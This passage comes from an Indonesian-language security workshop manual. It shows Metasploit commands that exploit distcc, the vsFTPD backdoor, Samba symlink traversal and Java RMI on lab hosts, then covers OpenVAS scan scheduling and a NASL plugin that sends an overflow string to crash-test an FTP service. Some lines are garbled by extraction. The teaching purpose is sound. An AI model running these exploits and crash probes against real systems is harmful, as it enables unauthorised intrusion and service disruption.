msf > use exploit/unix/misc/distcc_exec
msf exploit(distcc_exec) > show RHOST [IP target]
msf exploit(distcc_exec) > set payload cmd/unix/bind_perl
msf exploit(distcc_exec) > exploit
Kemudian kita akan mencoba exploitasi celah vsFTPD :
msf > search vsftpd
msf > use exploit/unix/ftp/vsftpd_234_backdoor
msf exploit(distcc_exec) > show RHOST [IP target]
msf exploit(distcc_exec) > set payload cmd/unix/interact
msf exploit(distcc_exec) > exploit
HatSecure - Workshop 10139
Kali ini kita juga akan melakukan exploitasi pada kesalahan konfigurasi ( wide links =
on) maka kita bisa mengeksploitasi dengan langkah berikut :
msf > use auxiliary/admin/smb/samba_symlink_traversal
msf > auxiliary(samba_symlink_traversal) > set RHOST 192.168.56.102
msf > auxiliary(samba_symlink_traversal) > set SMBSHARE tmp
msf > auxiliary(samba_symlink_traversal) > exploit
[*] Connecting to the server...
[*] Trying to mount writeable share 'tmp'...
[*] Trying to link 'rootfs' to the root filesystem...
[*] Now access the following share to browse the root filesystem:
[*] \\192.168.56.102\tmp\rootfs\
Untuk mengakses direktorinya gunakan perintah dibawah ini :
HatSecure - Workshop 10140
Dan yang terakhir kita akan mengeksploitasi Java RMI Server, celah yang kita pakai
ini memanfaatkan dari konfigurasi default RMI registry dan RMI Aktivasi layanan,
yang memungkinkan kita memuat kela dari jarak jauh.
msf > use exploit/multi/misc/java_rmi_server
msf > exploit(java_rmi_server) > set LHOST 192.168.56.1
msf > exploit(java_rmi_server) > set RPORT 1099
msf > exploit(java_rmi_server) > set LPORT 25882
msf > exploit(java_rmi_server) > set SRVPORT 8080
msf > exploit(java_rmi_server) > set RHOST 192.168.56.102
msf > exploit(java_rmi_server) > set PAYLOAD java/meterpreter/bind_tcp
msf > exploit(java_rmi_server) > set TARGET 0
msf > exploit(java_rmi_server) > set SRVHOST 0.0.0.0
msf > exploit(java_rmi_server) > exploit
Keterangan : 192.168.56.1 ( IP kita )
192.168.56.102 ( IP mesin target )
HatSecure - Workshop 10141
Schedules
Vulnerability assessment ideal untuk dilakukan secara rutin sehingga kita bisa tetap
terjaga dari celah baru yang ditemukan diluar sana. Mungkin saat ini kita hanya
menemukan 5 celah mungkin suatu saat nanti bisa bermunculan celah baru yang di
temukan di sistem kita sendiri. OpenVas menyediakan fitur dimana kita bisa
mengatur agar OpenVas melakukan pemindaian secara rutin dengan rentang waktu
tertentu. Pada halaman panel OpenVas buka Configuration > Schedules.
Jika anda ingin menambah komponen penjadwalan baru, klik icon kemudian atur
sesuai waktu yang anda inginkan, sebagai contoh :
Untuk mempergunakan pemindaian secara rutin dengan waktu tertentu. Kita tidak
menggunakan fitur Quick start ( pemindaian pertama ).
HatSecure - Workshop 10142
Klik icon kemudian isi form sesuai kebutuhan anda, sebagai contoh :
Pada schedule pastikan anda masukan kategori penjadwalan sesuai dengan yang
anda buat sebelumnya setelah itu klik Create Task.
HatSecure - Workshop 10143
Developer Guide
Sebelumnya kita melakukan pemindaian dengan plugin yang sudah disediakan oleh
OpenVas. Namun kita bisa juga membuat plugin sendiri jika memang celah yang kita
temukan tidak bisa dikenali oleh OpenVas disebabkan oleh belum adanya plugin.
Plugin OpenVas digunakan untuk mengenali suatu celah dan proses pemindaian.
Sebagai contoh kita menemukan celah baru apache webserver dari riset ataupun
dari berita keamanan sedangkan di OpenVas, plugin untuk mengenali celah baru ini
belum ada sedangkan di infrastruktur jaringan ada 120 host menggunakan apache,
kita tidak bisa menunggu lama sampai plugin ini dibuat oleh orang lain. OpenVas
dikembangkan terbuka oleh siapa saja sehingga kita bisa berkontribusi untuk
berpartisipasi mengembangkan dan membuat plugin OpenVas.
Plugin OpenVas dibuat menggunakan NASL ( Nessus Attack Scripting Language ), di
workshop ini kita mempelajari mengembangkan plugin dengan metode pemahaman
pola untuk mempermudah peserta memahami dengan waktu yang terbatas.
Plugin development
Ketika pertama menulis sebuah plugin OpenVas, anda memerlukan library
revisions-lib.inc yang memiliki fungsi untuk membandingkan antara string satu
dengan string lainnya. Pada pembelajaran workshop ini kita buat plugin baru
dengan nama file workshop_ftp_server.nasl.
HatSecure - Workshop 10144
--- workshop_ftp_server.nasl ---
include("revisions-lib.inc");
tag_impact = "Successful exploits may allow remote attackers to executearbitrary code on the system or cause the application to crash.Impact Level: Application";
tag_affected = "Workshop Ftp Server";
tag_insight = "The flaw is due to improper bounds checking when processingcertain requests.";
tag_solution = "No solution or patch was made available for at least one yearsince disclosure of this vulnerability. Likely none will be provided anymore.General solution options are to upgrade to a newer release, disable respectivefeatures, remove the product or replace the product by another one.";
tag_summary = "This host is running Workshop FTP Server and is prone to bufferoverflow vulnerability.";
if(description){
script_id(900000);script_version("$Revision: 1 $");script_tag(name:"last_modification", value:"$Date: 2014-05-17 $");script_tag(name:"creation_date", value:"2010-12-09 06:36:39 +0100 (Thu, 09 Dec 2010)");script_tag(name:"cvss_base", value:"6.8");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:P/I:P/A:P");script_tag(name:"risk_factor", value:"High");script_name("Workshop FTP Server Buffer Overflow Vulnerability");desc = "Summary:" + tag_summary + "
HatSecure - Workshop 10145
Vulnerability Insight:" + tag_insight + "
Impact:" + tag_impact + "
Affected Software/OS:" + tag_affected + "
script_description(desc);
script_summary("Determine Workshop Ftp Server Buffer Overflow Vulnerability");script_category(ACT_DENIAL);script_copyright("Copyright (C) 2014 Greenbone Networks GmbH");script_family("Buffer overflow");script_dependencies("find_service.nasl");script_require_ports("Services/ftp", 21);if (revcomp(a: OPENVAS_VERSION, b: "6.0+beta5") >= 0) {
script_tag(name : "impact" , value : tag_impact);script_tag(name : "affected" , value : tag_affected);script_tag(name : "insight" , value : tag_insight);script_tag(name : "solution" , value : tag_solution);script_tag(name : "summary" , value : tag_summary);
}exit(0);
}
include("ftp_func.inc");
## Get FTP PortftpPort = get_kb_item("Services/ftp");if(!ftpPort){
ftpPort = 21;}
HatSecure - Workshop 10146
## Get Port Statusif(!get_port_state(ftpPort)){
exit(0);}
## Get the FTP bannerbanner = get_ftp_banner(port:ftpPort);if("Workshop Ftp Server" >!< banner){
exit(0);}
## Open TCP Socketsoc = open_sock_tcp(ftpPort);if(!soc) {
exit(0);}
get = recv_line(socket:soc, length:100);
## Sending Attackfor(i=0;i<3;i++){
attack = string("USER ",crap(data: raw_string(0x41), length: 100), "\r\n");send(socket:soc, data:attack);get = recv_line(socket:soc, length:260);
## Check Socket statusif(!get){
security_hole(port:ftpPort);exit(0);
}}close(soc);
HatSecure - Workshop 10147
Penjelasan singkat mengenai variabel tag_affected, tag_insight, tag_solution,
dan tag_summary merupakan variabel yang berisi informasi mengenai mesin
yang diduga memiliki celah (contoh aplikasi tertentu dengan versi tertentu),
proses bagaimana mesin tereksploitasi, solusi untuk menutup celah
keamanan, dan kesimpulan dari celah tersebut.
Berikut keterangan untuk fungsi deskripsi :
script_id() = Set ID plugin (pilihlah ID yang belum terpakai plugin lain.
Biasanya nilai diatas 100000).
script_version() = Set versi plugin yang telah anda buat.
script_tag() = Set penanda di plugin. Informasi yang terdapat pada
script_tag biasanya informasi seputar tanggal plugin dibuat dan status celah
pada plugin anda apakah tinggi atau rendah (high - low).
script_name() = Berisi nama plugin yang anda buat.
script_category() = Kategori plugin (ACT_DENIAL, ACT_GATHER_INFO,
ACT_SCANNER)
script_copyright() = Berisi nama pemilik hak cipta bisa nama anda atau
perusahaan anda.
script_family() = Berisi informasi mengenai jenis celah atau vulnerability
(contoh: Buffer Overflow, Webserver, Command Injection, Missconfiguration,
dan sebagainta.)
script_dependencies() = Berisi informasi tentang dependensi yang diperlukan.
script_require_ports() = Set port yang diperlukan untuk di pindai.
Sedangkan untuk syntax dibawahnya tidak jauh berbeda dengan bahasa
pemrograman scripting lain seperti perl atau python.
HatSecure - Workshop 10148
Kemudian plugin workshop_ftp_server.nasl kita daftarkan pada OpenVas
dengan langkah berikut :
# mkdir /etc/openvas/gnupg
# export GNUPGHOME=/etc/openvas/gnupg
# gpg --homedir=/etc/openvas/gnupg --gen-key
Langkah diatas cukup lakukan 1x. Perintah diatas berguna untuk membangkitkan
kunci GPG. Kemudian barulah langkah dibawah ini untuk menambahkan plugin yang
kita buat ke aplikasi OpenVas.
# cp workshop_ftp_server.nasl /var/lib/openvas/plugins/
# cd /var/lib/openvas/plugins/
# openvas-nasl -p workshop_ftp_server.nasl
# gpg --detach-sign -a workshop_ftp_server.nasl
HatSecure - Workshop 10149
Untuk latihan buatlah plugin OpenVas baru dengan data dibawah ini :
Component Data
Name VulnMediaServer
Vulnerable Buffer Overflow
Port 8071 (TCP)
Banner VulnMediaServer v1.0
Testing Active / Passive
Description Stack-based buffer overflow in VulnMediaServer
allows remote attackers to execute arbitrary code
Affected v1.0
Solution None
Plugin ACT_DENIAL
Risk Factor High
Score
CVSS Base Score 7.6
AV:N/AC:H/Au:N/C:C/I:C/A:C/E:H/RL:T/RC:UC)